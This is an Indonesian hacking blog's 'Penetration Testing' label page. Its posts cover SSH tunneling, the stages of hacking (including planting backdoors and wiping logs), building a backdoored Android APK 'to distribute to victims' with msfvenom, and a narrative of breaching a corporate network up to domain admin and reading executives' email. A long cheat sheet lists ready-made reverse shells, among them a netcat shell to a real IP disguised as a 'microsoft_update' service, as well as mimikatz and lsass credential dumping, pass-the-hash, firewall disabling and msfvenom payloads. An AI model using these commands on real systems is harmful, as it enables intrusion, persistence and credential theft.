Tampilkan postingan dengan label Penetration Testing. Tampilkan semua postingan
Tampilkan postingan dengan label Penetration Testing. Tampilkan semua postingan

Pengertian SSH Tunneling

Februari 22, 2017 0

Apa itu SSH?

SSH adalah singkatan dari "Secure Shell", itu digunakan untuk membuat koneksi yang aman antara dua komputer.

SSH menyediakan antarmuka baris perintah untuk remote administrasi / manajemen sistem berbasis Linux atau bahkan CISCO router, Hal ini memungkinkan kita untuk aman melakukan berbagai tugas pemeliharaan dan lebih ... pada dasarnya kita bisa menganggapnya sebagai "telnet aman". komunikasi SSH terdiri dari Server SSH dan SSH Client.Baca juga Cara Full Akses Sistem dengan Symlink ke Root

Jadi apa SSH Tunneling adalah?

Kita dapat menggunakan SSH untuk membuat saluran komunikasi terenkripsi untuk tunnel terenkripsi melalui lalu lintas (misalnya POP3). SSH juga mendukung port forwarding yang memungkinkan ssh untuk dilewatkan lalu lintas masuk ke host tertentu dan port. Dalam tutorial ini kita akan melihat pada berbagai skenario dan penggunaan untuk SSH.

Skenario 1:

Host A – SSH Client  (Plink berjalan pada Windows XP)
Host B – SSH Sevrer  (OpenSSH berjalan pada linux)
Host C – Destination (VNC Server diinstal pada sistem Windows XP)

Dalam skenario host ini A memiliki akses ke Host B melalui SSH yang membutuhkan username dan password yang valid untuk sambungan tersebut.

Host A berada di belakang firewall yang blok koneksi vnc keluar pada port 5900 dan ingin terhubung melalui VNC ke Host C.

Mari kita tunnel keluar sesi vnc kami melalui ssh dengan memulai perintah berikut di Host A:


C:\>plink.exe [Host B] -P 22 -C -L 127.0.0.1:53:[Host C]:5900 -l username -pw password 

Kami terhubung ke server ssh kami melalui port 22 dan sebuah tunnel yang telah kami buat.

Menggunakan perintah netstat Anda akan melihat antarmuka loopback Anda (127.0.0.1) sekarang listening pada port 53 (yang merupakan awal dari tunnel).

C:\>netstat -an | FIND "53"
TCP 127.0.0.1:53 0.0.0.0:0 LISTENING

Ketika kita membuka klien vnc kami dan terhubung ke 127.0.0.1:53 data yang akan dikirim melalui tunnel dan akan diteruskan ke port 5900 (yang merupakan ujung tunnel kami).

Jika Anda menggunakan linux SSH bukan Plink Anda dapat menggunakan perintah berikut:
exploit ~ # ssh -L 53:[Host C]:5900 [Host B]

Skenario 2:

Host A - SSH Server (OpenSSH berjalan di linux)

Host B - SSH Client (Plink berjalan pada Windows XP)

Dalam skenario host ini A ingin terhubung ke Host B menggunakan vnc.

Host B terletak di belakang firewall / router tanpa port vnc terbuka

Hal itu memiliki server vnc diinstal dan mendengarkan secara lokal pada port 5900.

untuk skenario ini kita harus sebelumnya memperoleh reverse shell menggunakan netcat atau meterpreter.

Kami akan memulai perintah berikut dari shell kami di Host B :
C:\>plink -P 22 -l username -pw password -C -R 5900:127.0.0.1:5900 [Host A]

Yang harus kita lakukan sekarang adalah membuka klien vnc kami di Host A dan terhubung ke: 127.0.0.1: 5900

Skenario 3:

Host A - SSH Server (OpenSSH dengan remote port forwarding diaktifkan berjalan di linux)

Host B - SSH Client (Plink berjalan pada Windows XP)

Host C - Destination (VNC Server diinstal pada sistem Windows XP)

Skenario ini mirip dengan skenario 2 terkecuali dari host ketiga yang terlibat.

Sekali lagi, kita telah mendapatkan reverse shell di Host B dan kami akan menggunakan Host B untuk tunnel dan lalu lintas ke depan ke Host C vnc server menggunakan perintah berikut:

C:\>plink.exe [Host A] -P 22 -C -R 127.0.0.1:53:[Host C]:5900 -l username -pw password

Sekali lagi membuka klien vnc Anda dan membuat sambungan ke: 127.0.0.1:53

Pengertian Penetration Testing

Februari 03, 2017 0
Security Breach

Penetration Testing adalah teknik untuk mengevaluasi dan memeriksa keamanan sistem infrastruktur TI biasanya berbasis web atau jaringan.
Ini melibatkan simulasi lingkungan serangan hacking untuk menilai kerentanan dalam sistem. Setelah lingkungan hacking sudah diatur, sekarang peneliti keamanan mencoba untuk mengeksploitasi kerentanan keamanan (misalnya: kelemahan Service, kelemahan aplikasi, kelemahan OS, konfigurasi yang tidak benar, perilaku pengguna akhir yaitu kesalahan manusia dll) seperti hacker melakukan dan menilai berdampak pada bisnis. Baca juga Teknik Dasar Metode Social Engineering

Pentester membantu organisasi untuk menilai keberhasilan mereka dari mekanisme keamanan serta kepatuhan pengguna akhir untuk kebijakan keamanan. Hal ini penting bagi organisasi untuk tahu bahwa mereka memiliki kerentan atau tidak? Jika ya, apa ruang lingkup yaitu keparahan kerentanan dan banyak lagi.
Dan yang paling penting bagaimana saya harus mengurangi kerentanan dalam sistem jika menemukan kerentanan.

Penetration Testing dapat diklasifikasikan ke dalam beberapa kategori berdasarkan sifat mereka.
Berdasarkan proses:
1. Penetration Testing manual
2. Penetration Testing Otomatis
3. Kombinasi dari kedua pengujian Manual dan Otomatis


Tahapan Penetration Testing


Berikut adalah Tahapan tahapan untuk melakukan Hacking, yaitu :

1. Reconnaissance

Yaitu tahap seorang Hacker dalam mengumpulkan data sebanyak banyaknya tentang Target/Sasaran. Data apa saja yang diperlukan, baik dari tanggal lahir, nomor rumah, nama istri atau suami atau anak, hobi, plat kendaraan, dll.

Reconnaissance dibagi menjadi 2, yaitu Active Reconnaissance dan Passive Reconnaissance. Active Reconnaissance adalah pengumpulan data dengan cara bertatap muka langsung atau berhubungan langsung dengan Target/Sasaran, sedangkan Passive Reconnaissance adalah menggunakan media informasi seperti berita, internet, dll.

2. Scanning

Scanning adalah Tahap dimana hacker mulai melakukan serangan. Dalam tahap scanning ini, hacker akan mencari kelemahan pada target/korban. Metode ini biasanya menggunakan Tools Tools, namun tidak menutup kemungkinan metode ini dilakukan dengan cara manual, intinya metode scanning ini dilakukan untuk mencari kelemahan pada Target/Sasaran.

3. Gaining Access

Dalam tahapan Gaining Access, hacker akan melakukan penentrasi kedalam komputer/system target. Tentunya ini dilakukan setelah mendapatkan informasi kelemahan pada Target/Sasaran pada tahap Scanning. Pada tahap ini, hacker biasanya menggunakan Tools untuk penentrasi atau ada juga yang melakukannya dengan cara manual.

4. Maintenance Access

Setelah mendapatkan akses ke komputer/system target, biasanya Hacker ingin tetap menguasai komputer/system target. Misalkan ketika sang Administrator mengganti semua password user, sang Hacker tidak ingin kehilangan kontrol dengan menanam backdoor, rootkit, trojan, dan lain lain untuk tetap mempertahankan kontrolnya pada Target/Sasaran.

5. Covering Tracks

Hukuman kepada pelaku kejahatan dunia maya memiliki hukum yang jelas, oleh karena itu seorang Hacker tidak ingin dimasukkan kedalam penjara karena perbuatannya. Pada tahap ini, seorang Hacker harus menghapus jejaknya sehingga aktivitasnya tidak diketahui dan juga keberadaannya tidak dapat dilacak dengan mudah. Salah satu yang harus dilakukan untuk menghapus jejak adalah dengan menghapus Log File
Baca juga Cara Deface Admin Situs Dengan Metode SQL Injection
Bobol Android dengan Metasploit di Kali Linux

Bobol Android dengan Metasploit di Kali Linux

Mei 24, 2016 0
Dalam tutorial ini, kita akan melihat bagaimana untuk membuat file apk yang menggunakan alat di Kali Linux. Kali Linux adalah distro Linux  alat hacking dan framework yang dapat melayani berbagai tujuan dalam berbagai fase pengujian penetrasi. Dalam tutorial ini, kita akan fokus pada Metasploit Android berbasis payload dengan alat msfvenom untuk membuat apk file backdoor. Baca juga Cara Bobol WiFi dengan Kali Linux

Membuat apk backdoor dan memulai mengeksploitasi dengan multi handler

Langkah 1:

Membuka Kali Linux OS di Oracle VM VirtualBox.
Default login:
akar toor
Login ke mesin virtual Kali Linux menggunakan kredensial default yang diberikan di atas.


Langkah 2:

Memverifikasi alamat IP dari mesin Kali.
Perintah:
ifconfig
Buka terminal di Kali Linux, dan mencatat alamat IP dari sistem. Kami akan menggunakan alamat IP ini dalam mengeksploitasi kami.

Langkah 3:

Buka Metasploit framework.
Dari terminal:
msfconsole
Setelah Anda memverifikasi dan mencatat alamat IP, kami akan membuka konsol MSF untuk membuat pendengar untuk mengeksploitasi kami.

Langkah 4:

Menggunakan Metasploit multi/handler.
Perintah:
msf >use exploit/multi/handler
Dalam Metasploit, menggunakan perintah menggunakan model tertentu dari rangka. Dalam kasus ini, kita ingin menggunakan multi handler mengeksploitasi, yang memfasilitasi mendengarkan koneksi wildcard yang masuk.

Langkah 5:

Cari payload multi handler
Perintah:
msf > search android/meterpreter
Anda dapat menggunakan perintah 'pencarian' dalam msfconsole untuk mencari kata kunci. Dalam kasus ini, kita akan mencari payload Android meterpreter.

Langkah 6:

Mengatur muatan di Metasploit
Perintah: msf > set payload android/meterpreter/reverse_tcp
Bersama dengan perintah 'use' dan 'search', 'set' adalah perintah lain yang digunakan dalam Metasploit untuk mengatur payload tertentu untuk mengeksploitasi.

Langkah 7:

Lihat opsi-opsi dari mengeksploitasi payload
Perintah: msf > show options
Kita dapat menggunakan perintah 'Tampilkan pilihan' untuk melihat berbagai masukan mengeksploitasi yang diperlukan untuk menjalankan berhasil.

Langkah 8:

Menetapkan LHOST dan LPORT
Perintah: msf > mengatur LHOST < ip_address >
MSF > mengatur LPORT < port_number >

Langkah 9:

Mulai pendengar
Perintah: msf > mengeksploitasi
Setelah Anda mengetik mengeksploitasi, pendengar Anda seharusnya dan berjalan menunggu untuk koneksi wildcard yang masuk.


Langkah 10:

Membuat file APK yang menggunakan MSFvenom. Membuka terminal baru.
Perintah: msfvenom-p android/meterpreter/reverse_tcp LHOST=<ip_address> LPORT=<port_number> > filename.apk
Membuka terminal baru dan ketik perintah di atas untuk menghasilkan file apk yang akan didistribusikan kepada korban. Serangan lanjutan dapat dikejar oleh mengikat berkas-berkas ini dengan APKs yang sah, yang berada di luar cakupan Lab ini.


Pengertian Black Box Hacking dengan Kali Linux

Pengertian Black Box Hacking dengan Kali Linux

Mei 24, 2016 0
Black Box Penetration Testing berarti bahwa hacker tidak memiliki pengetahuan tentang jaringan target. Idenya adalah untuk mensimulasikan serangan yang hacker mungkin melakukan untuk mengeksploitasi kelemahan dalam jaringan target dan selama pelanggaran itu.  

Selain itu, ia mengeksplorasi jaringan internal dan mengidentifikasi lebih lanjut kerentanan dalam jaringan internal yang akan memberikan akses untuk aset kritis organisasi.

Tujuan:

Dalam artikel ini, kita akan mengasumsikan peran peretas yang tidak memiliki pengetahuan tentang jaringan target. Tujuan akan melanggar jaringan sasaran, memiliki seluruh domain dan kompromi asset-aset kritikal jaringan target. Jadi mari kita mulai.

Keterbatasan:

Sebelum memulai penilaian, sudah jelas bahwa kita akan tidak memiliki informasi tentang jaringan target dan hanya akan diberikan akses fisik ke daerah tamu jaringan target.

Serangan Awal:

Kita mulai proses dengan menilai koneksi jaringan kemungkinan yang tersedia bagi kita. Ada Port terprogram tidak tersedia bagi kita untuk menghubungkan, jadi kami mengalihkan perhatian kita untuk koneksi nirkabel.

Untuk melakukan pengintaian jaringan nirkabel, kami akan menggunakan aircrack-ng suite alat yang tersedia di Kali Linux Distro dan adaptor USB kartu Alfa Wireless. Kami mengatur lingkungan dan lihat koneksi nirkabel yang tersedia.




Pencacahan nirkabel mengungkapkan SSID tersembunyi "Perusahaan WLAN" yang dapat diakses dari area tamu. Selain itu, SSID ini menggunakan mekanisme otentikasi WPA2-PSK yang bisa memaksa kasar, dan ini bisa memberikan kami akses ke jaringan perusahaan.

Kami pergi ke depan dan menangkap jabat tangan "Perusahaan WLAN" SSID berhasil.



Kemudian kita berhasil mengcrack wifi dan mendapat sandi untuk "Perusahaan WLAN" SSID.



Sekarang kita memiliki akses ke jaringan Internal perusahaan target; kami melangkah lebih jauh untuk menghitung jaringan dan menemukan cara untuk mendapatkan pijakan ke jaringan ini.

Dalam usaha untuk mengidentifikasi potensi serangan permukaan, kami memeriksa alamat IP, Domain dan server E-mail jaringan target. Sejak DHCP berjalan kami sudah memiliki alamat IP. Perintah sederhana "nslookup" mengungkapkan server nama domain target yang membantu untuk lebih lanjut enumerasi.




Kami kemudian mulai melakukan dasar jaringan-penemuan pemindaian dan penghitungan pada jangkauan jaringan server nama diidentifikasi. (yaitu *. *.40.1-254). Untuk ini, kita akan menggunakan alat netscan. Netscan adalah alat yang sangat berguna untuk melakukan pengintaian jaringan. Ini memiliki antarmuka yang sangat sederhana, cek untuk umum membuka port, mendukung ianya bertauliah login dan memberikan hasil dalam format sangat user-friendly.




Kami mampu untuk melihat beberapa sistem target dalam kisaran jaringan ini. Sistem ini terdiri dari Web server, database, dan aplikasi server, dll. Sebagian besar sistem ini juga mempunyai RDP Port 3389 terbuka yang akan sangat membantu untuk jauh ke dalam sistem harus kita berhasil melanggar salah satu dari mereka.

Pada saat yang sama, itu juga penting untuk dicatat alamat IP setiap target bernilai tinggi yang potensial yang dapat berguna dalam fase pasca eksploitasi kami.

Mencari Celah Dalam Jaringan

Sekarang dengan begitu banyak target di tangan, itu penting bahwa kita hati-hati menganalisis target lemah dan menyerang mereka.
Pada tahap ini, kita mulai Pengkajian kerentanan pada sistem ini untuk mengevaluasi potensi kerentanan yang dimanfaatkan. Kami melakukan Pengkajian kerentanan menggunakan alat yang terkenal seperti Nessus dan Vas terbuka. Selama Pengkajian kerentanan, kami juga memperhatikan bahwa banyak sistem ini sedang menjalankan perangkat lunak lama pihak ketiga dan sistem operasi yang dapat menjadi mudah korban serangan bertarget. Proses bisa memakan waktu karena banyak dari kerentanan yang otomatis memberikan scanner adalah positif palsu. Oleh karena itu, sangat penting bahwa kita hati-hati mengevaluasi kerentanan untuk masuk ke sistem.



Pengkajian kerentanan akan mengungkapkan banyak potensi kerentanan, salah satu dari mereka menjadi kerentanan MS09-050. Kami akan pergi ke depan dan mencoba untuk mengeksploitasi kerentanan ini.

Eksploitasi

Kami akan menggunakan terkenal Windows mengeksploitasi (MS09-050 kerentanan dalam SMBv2 dapat memungkinkan ekseskusi kode jauh) tersedia disini. Mesin ini tampaknya menjalankan aplikasi warisan dan dengan itu adalah kiri unpatched di lingkungan.

Setelah beberapa usaha, kami berhasil mengeksploitasi kerentanan berhasil dan untungnya mendapat perintah shell dengan hak istimewa Administrator lokal.


Untuk memastikan bahwa kita memiliki gigih akses ke sistem dieksploitasi, kami membuat pengguna backdoor dan tambahkan ke grup Administrator lokal.


Kita dapat sekarang masuk ke sistem dieksploitasi dengan pengguna kami backdoor dan tambahan untuk menghitung sistem ini

Post Exploitation:

Sekarang bahwa kita telah dipecah menjadi sebuah domain sistem dan menambahkan pengguna backdoor, mari kita lakukan pasca eksploitasi pada sistem ini. Tujuan kami adalah untuk mendapatkan password administrator lokal dari sistem ini dan kemudian memeriksa jika kita dapat login ke sistem domain lain dengan mandat ini.

Mimikatz adalah alat yang terkenal yang dapat membuang keluar jelas-text password melalui LSASS. Namun, sistem target adalah menjalankan anti-virus, yang blok Mimikatz. Selain itu, anti-virus yang dilindungi sandi yang berarti kami tidak dapat menonaktifkan atau whitelist mimikatz.

Jadi kami memutuskan untuk menggunakan Meterpreter shell untuk membuang password hash. Untuk mendapatkan sebuah shell Meterpreter, kami akan membuat muatan Meterpreter berbahaya dan mengatur handler di sistem menyerang. Kita sekarang host muatan Meterpreter ini berbahaya pada sistem kami menyerang webserver dan memanggil file melalui browser sistem dieksploitasi.









Sekarang kita memiliki Meterpreter shell pada sistem dieksploitasi. Kita dapat melanjutkan untuk membuang hash.



Setelah dumping administrator hash, kami berhasil memecahkan hash ini berhasil

Meningkatnya hak akses

Sekarang kita memiliki kredensial Administrator lokal sistem Domain. Langkah berikutnya akan untuk melihat jika kita memiliki akses ke berbagai sistem lain dengan mandat ini. Sekali lagi kita menggunakan alat netscan untuk mencari logon pengguna dengan kredensial Administrator lokal.




Seperti yang kita lihat, ada banyak sistem lain dalam domain yang menggunakan nama pengguna dan sandi yang sama. Ini berarti bahwa kita telah berhasil mengorbankan beberapa sistem di domain.

Kita kemudian login ke sistem ini dengan kredensial Administrator lokal dan membuang keluar jelas-text password dari sistem ini menggunakan alat Mimikatz. Sandi Administrator lokal ini berguna untuk membuka Antivirus dan menonaktifkannya untuk waktu. Gambar di bawah menunjukkan output perintah Mimikatz. Dengan cara ini, kami berhasil mengumpulkan beberapa domain kredensial pengguna dari sistem ini terkena.



Eskalasi untuk Administrator Domain

Langkah terakhir kami adalah untuk meningkatkan hak-hak pengguna kami backdoor menjadi Domain Administrator dan memiliki seluruh domain.
Di langkah sebelumnya, kami telah berhasil untuk membuang banyak domain kredensial pengguna dari sistem yang berbeda. Salah satu surat-surat ini ternyata menjadi Domain Administrator. Kami masuk ke sistem pengendali domain menggunakan mandat ini dan melanjutkan untuk menambahkan pengguna kami backdoor Domain dan kemudian meningkat hak istimewa membuatnya Domain Administrator.



Kami dapat mengkonfirmasi bahwa pengguna kami backdoor adalah Domain Administrator dengan login ke Active Directory dan melihat hak akses.

 Mengakses target bernilai tinggi

Sekarang bahwa kita telah menjadi Domain Administrator, kita lanjutkan untuk mengakses bernilai tinggi target jaringan untuk mengekspos gravitasi dari serangan.
Dari tahap mengumpulkan informasi, kami mengidentifikasi server e-mail jaringan target.

MS-Exchange 2013 digunakan untuk mengelola server e-mail. Ini berarti bahwa di asing admin center dapat diakses dari link berikut: http://webmailip/ecp
Kami masuk ke Exchange Admin Center menggunakan kredensial Domain Administrator. Kita sekarang dapat menambahkan diri sebagai seorang delegasi ke salah satu kotak pesan pengguna dan dapatkan akses lengkap ke kotak pesan mereka. Ini berarti bahwa kita dapat mengakses email semua Top-Level Eksekutif jaringan Target.


Kesimpulan

Dalam artikel ini kita telah melihat penetrasi lengkap siklus tes yang mana kita mulai dengan nol pengetahuan tentang organisasi daripada kami berhasil melanggar jaringan perusahaan, melanjutkan untuk kompromi sistem domain; mendapat administrator hash dan setelah retak hash kami mampu mendapatkan kompromi beberapa sistem dan akhirnya domain controller. Untuk mempertahankan akses, kami juga dibuat pengguna backdoor dan membuatnya Domain Administrator. Juga untuk membuktikan betapa seriusnya serangan kami mengambil kendali penuh dari kotak pesan pengguna.

Penilaian penetrasi kotak hitam yang mengungkapkan postur keamanan sebenarnya seluruh organisasi. Ini membantu organisasi untuk memahami bagaimana serangan bisa terjadi dan bagaimana buruk mempengaruhi bisnis akan kalau itu suatu penyerangan yang sukses.Baca juga Pengertian Tools Vulnerability Scanning

 Karena, itu mutlak diperlukan bahwa organisasi melaksanakan penilaian tersebut secara berkala. Penilaian semacam ini juga membantu organisasi untuk memprioritaskan item aksi yang menimbulkan ancaman langsung diikuti oleh tindakan menengah dan rendah item.

Dari perspektif pentester, sebuah kotak hitam penetrasi penilaian adalah salah satu latihan yang paling menantang dan memuaskan. Tidak hanya menguji pengetahuan Anda tetapi juga kemampuan Anda untuk berpikir kreatif dalam situasi sulit.

Pentest Cheat Sheets

Mei 09, 2016 0


Pentest Handy Tips and Tricks.



Nmap Full Web Vulnerable Scan

cd /usr/share/nmap/scripts/
wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz
nmap -sS -sV --script=vulscan/vulscan.nse target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target
nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target
nmap -sV --script=vuln target
nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target

Dirb Dir Bruteforce:

dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt

Nikto web server scanner

nikto -C all -h http://IP

WordPress Scanner

git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
./wpscan –url http://IP/ –enumerate p

HTTP Fingerprinting

wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip
cd httprint_301/linux/
./httprint -h http://IP -s signatures.txt

SKIP Fish Scanner

skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP

Nmap Ports Scan

1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)
1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)
2)fargement
3)data packed – like orginal one not scan packet
4)use auxiliary/scanner/ip/ipidseq for find zombie ip in network to use them to scan — nmap -sI ip target
5)nmap –source-port 53 target
nmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f –mtu=24 –data-length=1337 -T2 target ( Randomize scan form diff IP)
nmap -Pn -T2 -sV –randomize-hosts IP1,IP2
nmap –script smb-check-vulns.nse -p445 target (using NSE scripts)
nmap -sU -P0 -T Aggressive -p123 target (Aggresive Scan T1-T5)
nmap -sA -PN -sN target
nmap -sS -sV -T5 -F -A -O target (version detection)
nmap -sU -v target (Udp)
nmap -sU -P0 (Udp)
nmap -sC 192.168.31.10-12 (all scan default)

NC Scanning

nc -v -w 1 target -z 1-1000
for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done

Unicornscan

us -H -msf -Iv 192.168.56.101 -p 1-65535
us -H -mU -Iv 192.168.56.101 -p 1-65535

-H resolve hostnames during the reporting phase
-m scan mode (sf - tcp, U - udp)
-Iv - verbose

Xprobe2 OS fingerprinting

xprobe2 -v -p tcp:80:open IP

Samba Enumeration

nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target

SNMP Enumeration

snmpget -v 1 -c public IP
snmpwalk -v 1 -c public IP
snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP

Windows Useful cmds

net localgroup Users
net localgroup Administrators
search dir/s *.doc
system("start cmd.exe /k $cmd")
sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore
/c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp For 32 bits
C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp For 64 bits
Forward remote port to local address
plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 IP

Meterpreter portfwd

# https://www.offensive-security.com/metasploit-unleashed/portfwd/
# forward remote port to local address
meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141
kali > rdesktop 127.0.0.1:3389

Enable RDP Access

reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable

Turn Off Windows Firewall

netsh firewall set opmode disable

Meterpreter VNC\RDP

a
# https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/
run getgui -u admin -p 1234
run vnc -p 5043

Add New user in Windows

net user test 1234 /add
net localgroup administrators test /add

Mimikatz use

git clone https://github.com/gentilkiwi/mimikatz.git
privilege::debug
sekurlsa::logonPasswords full

Passing the Hash

git clone https://github.com/byt3bl33d3r/pth-toolkit
pth-winexe -U hash //IP cmd

or

apt-get install freerdp-x11
xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP

or

meterpreter > run post/windows/gather/hashdump
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
meterpreter > shell

Hashcat password cracking

hashcat -m 400 -a 0 hash /root/rockyou.txt

Netcat examples

c:> nc -l -p 31337
#nc 192.168.0.10 31337
c:> nc -v -w 30 -p 31337 -l < secret.txt
#nc -v -w 2 192.168.0.10 31337 > secret.txt
nc 192.168.0.10 80
GET / HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/4.0
Referrer: www.example.com
<enter>
<enter>

Window reverse shell

c:>nc -Lp 31337 -vv -e cmd.exe
nc 192.168.0.10 31337
c:>nc example.com 80 -e cmd.exe
nc -lp 80

nc -lp 31337 -e /bin/bash
nc 192.168.0.10 31337
nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000

Find SUID\SGID root files

# Find SUID root files
find / -user root -perm -4000 -print

# Find SGID root files:
find / -group root -perm -2000 -print

# Find SUID and SGID files owned by anyone:
find / -perm -4000 -o -perm -2000 -print

# Find files that are not owned by any user:
find / -nouser -print

# Find files that are not owned by any group:
find / -nogroup -print

# Find symlinks and what they point to:
find / -type l -ls

Python shell

python -c 'import pty;pty.spawn("/bin/bash")'

Python\Ruby\PHP HTTP Server

python2 -m SimpleHTTPServer
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start"
php -S 0.0.0.0:8888

Get PIDs of process

fuser -nv tcp 80
fuser -k -n tcp 80

Hydra rdp Bruteforce

hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp

Mount Remote Windows Share

smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw

Compiling Exploit in Kali

gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)

Compiling Windows Exploits on Kali

wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe

NASM Commands

nasm -f bin -o payload.bin payload.asm
nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload

SSH Pivoting

ssh -D 127.0.0.1:1080 -p 22 user@IP
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains commands target

SSH Pivoting from One Network to Another

ssh -D 127.0.0.1:1080 -p 22 user1@IP1
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2
Add socks4 127.0.0.1 1081 in /etc/proxychains.conf
proxychains commands target

Pivoting Using metasploit

route add X.X.X.X 255.255.255.0 1
use auxiliary/server/socks4a
run
proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E

or

# https://www.offensive-security.com/metasploit-unleashed/pivoting/
meterpreter > ipconfig
IP Address : 10.1.13.3
meterpreter > run autoroute -s 10.1.13.0/24
meterpreter > run autoroute -p
10.1.13.0 255.255.255.0 Session 1
meterpreter > Ctrl+Z
msf auxiliary(tcp) > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 10.1.13.2
msf exploit(psexec) > exploit
meterpreter > ipconfig
IP Address : 10.1.13.2

Exploit-DB search using CSV File

git clone https://github.com/offensive-security/exploit-database.git
cd exploit-database
./searchsploit –u
./searchsploit apache 2.2
./searchsploit "Linux Kernel"

cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3

MSF Payloads

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe
msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c

MSF Linux Reverse Meterpreter Binary

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -f elf -a x86 --platform linux -o shell

MSF Reverse Shell (C Shellcode)

msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c

MSF Reverse Shell Python Script

msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py

MSF Reverse ASP Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp

MSF Reverse Bash Shell

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh

MSF Reverse PHP Shell

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.php
add <?php at the beginning
perl -i~ -0777pe's/^/<?php \n/' shell.php

MSF Reverse Win Bin

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe

Linux Security Commands

# find programs with a set uid bit
find / -uid 0 -perm -4000

# find things that are world writable
find / -perm -o=w

# find names with dots and spaces, there shouldn’t be any
find / -name " " -print
find / -name ".." -print
find / -name ". " -print
find / -name " " -print

# find files that are not owned by anyone
find / -nouser

# look for files that are unlinked
lsof +L1

# get information about procceses with open ports
lsof -i

# look for weird things in arp
arp -a

# look at all accounts including AD
getent passwd

# look at all groups and membership including AD
getent group

# list crontabs for all users including AD
for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done

# generate random passwords
cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=|fold -w 12| head -n 4

# find all immutable files, there should not be any
find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’

# fix immutable files
chattr -i file

Win Buffer Overflow Exploit Commands

msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f c
msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f c

COMMONLY USED BAD CHARACTERS:
